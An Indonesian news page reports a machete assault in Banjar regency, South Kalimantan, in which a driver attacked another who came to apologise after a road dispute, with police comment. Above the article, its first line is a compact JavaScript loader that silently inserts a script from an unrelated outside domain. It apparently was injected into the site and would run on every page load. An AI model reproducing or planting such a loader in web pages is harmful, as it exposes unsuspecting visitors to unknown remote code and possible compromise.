(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN, MARTAPURA – Gegara salah paham di jalan, DL harus dibawa ke polisi karena melukai SH dengan parang.
Peristiwa penganiayaan berdatah terjadi di Jalan A Yani Km 76, Desa Sungkai, Kecamatan Simpang Empat Kabupaten Banjar, Rabu (1/11/2023).
Kasi Humas Polres Banjar, AKP H Suwarji, mengatakan, kasus ini berawal dari adanya kejadian kesalahpahaman di jalan antara DL dan SH sesama sopir. Awalnya SH pergi ke rumah pelapor untuk meminta maaf atas kesalahpahaman yang terjadi.
SH tiba di rumah DL mengetuk pintu rumah, namun tidak disangka tiba-tiba ia mendapatkan serangan senjata tajam jenis parang ke arahnya. Akibat diserang dengan parang, SH mengalami luka lecet di telapak tangan dan bagian kanan pinggangnya.
Baca juga: Sidang Korupsi iPad DPRD Banjarbaru, Begini Kesaksian Kepala Bappeda dan Tim Pokja
“Setelah mengalami kejadian tersebut SH melaporkan peristiwa penganiayaan Polres Banjar untuk ditindak lanjuti sesuai hukum yang berlaku,” ujarnya.
AKP H Suwarji menyebut DL, warga Desa Sungkai, Kecamatan Simpang Empat, Kabupaten Banjar. Hasil introgasi didapati keterangan DL pada Senin 30 Oktober 2023 sekitar pukul 14.30 Wita, terlibat cekcok urusan trailer dan tronton kapsul yang sedang membawa muatan semen curah di Binuang, Kabupaten Tapin. Saat itu SH berkata kasar kepada tersangka DL. DL pun mengancam korban SH harus ke rumahnya di Sungkai.
Keesokan harinya, Selasa (31/10/2023) pukul 06.30 Wita, SH menuju ke rumah DL bermaksud meminta maaf dan menyelesaikan kesalahpahaman. SH sempat mengetuk pintu rumah DL, saat itu DL masih tertidur. Saat DL bangun, langsung terkejut melihat SH, dan berpikir bahwa SH akan menyerangnya sehingga ia langsung menyerang dengan menggunakan parang.
Merasa diserang menggunakan parang SH langsung berlari menghindar ke arah depan hingga terjatuh beberapa kali karena dikejar.
Baca juga: Warga Desa Lokbaintan Terima Bantuan BPBD Banjar
“Tersangka DL telah diamankan di Polsek Simpang Empat dan akan diserahkan ke Sat Reskrim Polres Banjar untuk proses hukum lebih lanjut. Kasus penganiayaan ini menunjukkan pentingnya penyelesaian konflik dengan cara yang damai dan menghindari kekerasan dalam penyelesaian perbedaan pendapat,” katanya.
Barang bukti yang ditemukan yaitu selembar celana panjang Levis dan senjata tajam berupa sebilah parang.
(Kanalkalimantan.com/nh)
Reporter : nh
Editor : bie
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.